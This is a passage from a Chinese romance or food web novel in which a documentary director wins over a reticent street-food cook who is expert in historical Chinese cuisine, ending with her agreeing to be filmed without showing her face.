在最初的惊愕之后，王利重新镇定下来。他试图在陈默的脸上看见开玩笑的神情，甚至希望他下一刻就开口笑着说“逗你玩儿”。 可是这一切都没有发生，迎着陈默的目光，王利也意识到，自己这位昔日同学，如今声名鹊起的新锐纪录片导演，对邀请小吃摊摊主来拍摄这件事是十二万分的认真。 “真的就……非得是那个小吃摊摊主了？即便人家不愿意？” “她就是最好的选择。”陈默目光坚定，“拜托了。我需要你帮我一个忙，让我确定下，这个小吃摊的摊主就是我要拍摄的对象。” 王利忍不住皱了眉头：“这能行吗？而且，即便你确定了那就是同一个人，你又能做什么呢？” “一个人是不可能平空冒出来的。她能够拿下你们剧场的盒饭供应，那就一定有人在中间牵线搭桥……”陈默眼里闪过一丝狡黠的神色，“只要找到那个中间人，我就能够顺藤摸瓜找出更多的线索。说不定，就能够找出说服老板的关键点呢？” 王利沉默了很久，才重新开口：“我们之所以会换盒饭供应商，是因为有一次在剧场里，有个女演员带了小吃摊摊主做的盒饭，大家闻到了香味。” “那个女演员，和小吃摊摊主据说是邻居。” 闻言，陈默眼前一亮：“能帮我介绍一下她吗？” *** 当天下午，在王利的牵头下，陈默见到了夏璐。 刚开始，得知陈默想要和自己见面的时候，夏璐又是紧张又是一头雾水。 毕竟陈默是纪录片导演，她是剧场的喜剧演员，两人按道理来说应该毫无关联。 在真的见到陈默前，夏璐甚至有个大胆的猜测—— 该不会是陈默准备转行当拍喜剧，来找演员吧？ 在真的见到陈默后，夏璐知道对方的来意，才终于了然，原来是为了言初莘来。 最初，夏璐并不想透露太多关于言初莘的事情。 既然言初莘已经拒绝过陈默的纪录片拍摄邀请，那她也不会给言初莘添乱。 只是，陈默的一句话，让夏璐动摇了：“你知道她的厨艺有多好，你难道就忍心让她一直辛苦地摆摊吗？我不是说摆摊不好，而是，有了纪录片的加持，她可以有更多的选择面。” 听了这话后，夏璐才逐渐松口，开始透露一些言初莘相关的小细节。 “她的阳台上晒着二十多个陶罐，里面都是各种各样的腌菜，都是不同的手法。还有几个小的陶罐，里面是她自己酿的酒。”夏璐咬着吸管，从手机相册里翻出图片，递到陈默面前，“看。” 陈默的目光却落在陶罐旁边的桌子上，上面摆着一根梅花发簪：“她喜欢古风饰品？” “不只是饰品，她最喜欢的应该是古代美食了吧。”说到这里，夏璐忽然间来了精神，“她对于美食的古法制作方法，完全是了如指掌。现在小吃摊上，甚至都没有发挥出她1成的功力。她平时在家里面自己折腾的那些美食，才是真的工夫呢！” “各种我之前只有在电视剧或者纪录片里才能见识到的御膳，在她手里就像是小玩意儿一样，随处可见……” 随着夏璐的描述，陈默内心对言初莘的侧写也越来越清晰。 他的嘴角忍不住轻轻勾起。 他似乎找到，说服言初莘的办法了。 *** 五月的阳光开始显出锋芒，言初莘的小吃摊前却漫开清凉草木香。 她正将翡翠色的面团抻成银丝，案板上渐渐堆起晶莹剔透的细丝，像把春山烟雨揉进了面粉里。 “这是……槐叶冷淘？” 听见陈默的声音，言初莘甚至连眼皮都没有抬一下。 不过经过这大半个月的交锋，陈默可太清楚要如何让言初莘开口了：“《东京梦华录》里说六月街巷始卖冷淘，您这提前上新了？” 言初莘手腕轻抖，碧玉般的面条稳稳落进冰镇梅子汤：“《岁时广记》有载，槐叶五月始茂，取嫩者制冷淘最妙。” 她说着往碗里撒糖渍桂花，半透明的面条浸在琥珀色汤汁里，面上浮着碎冰与鲜橙片，阳光穿过碗沿竟折射出虹彩。最绝的是每根面条中心都嵌着金线，细看才发现是南瓜茸拉成的细丝。 这一幅画面，让一旁正在排队等候的食客们都不由地发出惊呼。 “我的天！这也太精致了吧！” “不知道老板准备了多少份……应该能够买到吧？” “希望前面的不会一个人带太多份。” “这也太好看了！我一定要拍照发朋友圈！” 不少食客已经拿出手机，开始拍摄刚制作好的槐叶冷淘了。 “来一份槐叶冷淘。” 陈默没有再这时候多说什么，而是拿着槐叶冷淘坐到了旁边的小桌板上。 他夹起一筷面条，清凉气息先于味觉抵达。槐叶的微苦裹着麦香在舌尖化开，梅子汤的酸甜随后涌上，突然咬到那缕南瓜茸时，竟迸出蟹膏般的鲜甜。 这一瞬特别的口感，让陈默忍不住眼前一亮。 “您怎么想到用南瓜仿蟹味？”他指着面汤里星星点点的橙皮末，“这和《吴氏中 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“华夏美食居然没有进入榜单？这什么野鸡榜单！” “恰恰相反，国际美食榜单来自全球最知名的美食测评网站，其中包括国际美食协会和大众评审。” “评审团去年给法式焗蜗牛打了9.5分，却给锅包肉评了2.8分，原因是‘过于油腻’；宋嫂鱼羹评了4.3分，说‘酸味破坏肉本体味道’。”陈默点开评审视频，白发评委正皱着眉吐刺。 “"停停停！”言初莘终于忍不住打断，“宋嫂鱼羹讲究‘七分醋意三分鲜’，他们拿叉子吃鱼当然满嘴刺！” “他们还给华夏凉面打了2.3分，卤肉面只有3.9分，而番茄意大利面有足足7.6分……” 虽然明知道是陈默的套路，但言初莘还是忍不住拿过平板，翻起了国际美食榜单的排名。越看越是眉头紧锁。 陈默趁机递上合同：“所以我们才更需要用高清镜头记录下这些。” “曾经我们饱受战乱之苦，也没有技术手段将曾经华夏美食的辉煌记录下来，也丧失了美食的评价权，只能被动地接受点评。可是现在，我们有了这样的机会。” 言初莘闭上眼，深呼吸一口。 “好吧，你说服我了。但我有个要求，拍摄全程我都不会露脸。” 听出言初莘言语间松动之意的陈默欣喜若狂：“当然没问题！我会将镜头都聚焦在美食上！” “合同拿来。”